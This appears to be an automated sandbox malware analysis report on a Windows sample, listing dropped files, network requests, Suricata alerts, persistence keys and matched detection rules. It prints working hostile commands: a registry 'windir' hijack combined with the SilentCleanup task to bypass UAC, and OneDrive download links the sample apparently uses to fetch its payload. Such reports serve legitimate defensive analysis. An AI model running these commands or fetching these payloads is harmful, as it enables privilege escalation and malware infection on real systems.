Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Sept. 3, 2021, 5:11 p.m. | Sept. 3, 2021, 5:20 p.m. |
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reg.exe reg delete hkcu\Environment /v windir /f
2656 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
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schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
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reg.exe reg delete hkcu\Environment /v windir /f
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Name | Response | Post-Analysis Lookup |
---|---|---|
ya7p6a.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
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13.107.42.12 |
onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
Suricata Alerts
Flow | SID | Signature | Category |
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TCP 192.168.56.101:49202 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49201 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49203 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49201 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | CN=onedrive.com | 50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb |
TLSv1 192.168.56.101:49203 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
TLSv1 192.168.56.101:49202 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e |
section | .itext |
packer | BobSoft Mini Delphi -> BoB / BobSoft |
request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21144&authkey=ADKru-6Ld-lJ97I |
request | GET https://ya7p6a.sn.files.1drv.com/y4mwfXOKjaW69wYFkI3SGx3XTuEnz3xPlm0bryjw2gLBg6o-LSPkzMUDb6s5J_u7Bs8WP2vq4AreLgWt8E5kWbcSNvbIxhLJGsTa7XUSyO2qSF9NtU9dLinxHeGEo3KfheOwsTJ84lSmZ-nlXoL5ltTl-00PpD3-J3OxW1Ab6Zi6u5vwzjA0oUiQdVA3769hxc9KhNbpGfeT0MzPyXyQOVyPg/Dbixhszrnpskrfhdmybztzypykrurds?download&psid=1 |
request | GET https://ya7p6a.sn.files.1drv.com/y4md987bqpeXyH2yULsrm7vyAfWGLIv2wUJDK4ZcmIW_gedctayW5Tizvqt6qaXXNJCi0qgQVjqyPw6fyISiI2mCcGw1_2ug6rQFtxzfwu-KEuHO_Ym8-xZIhpf424sLtIZ6ywXv9lJ7JXVsQZB0q4xbTZYcCthKmj7ucINV_3gx9g_uBwYGTzab4Q0jSkxKc1_67ZLKtdM8MmXPgItTMFlog/Dbixhszrnpskrfhdmybztzypykrurds?download&psid=1 |
file | C:\Users\Public\KDECO.bat |
file | C:\Users\Public\UKO.bat |
file | C:\Users\Public\Libraries\Dbixhsz\Dbixhsz.exe |
file | C:\Users\Public\Trast.bat |
file | C:\Users\Public\nest.bat |
cmdline | C:\Windows\System32\mshta.exe |
cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | (no description) | rule | Check_Dlls | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Affect hook table | rule | win_hook | ||||||
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread |
cmdline | reg delete hkcu\Environment /v windir /f |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
buffer | Buffer with sha1: 7e14beaa4dadf712fe1a52098774f281c9198cdb |
reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Dbixhsz | reg_value | C:\Users\Public\Libraries\zshxibD.url |
file | C:\Users\Public\UKO.bat |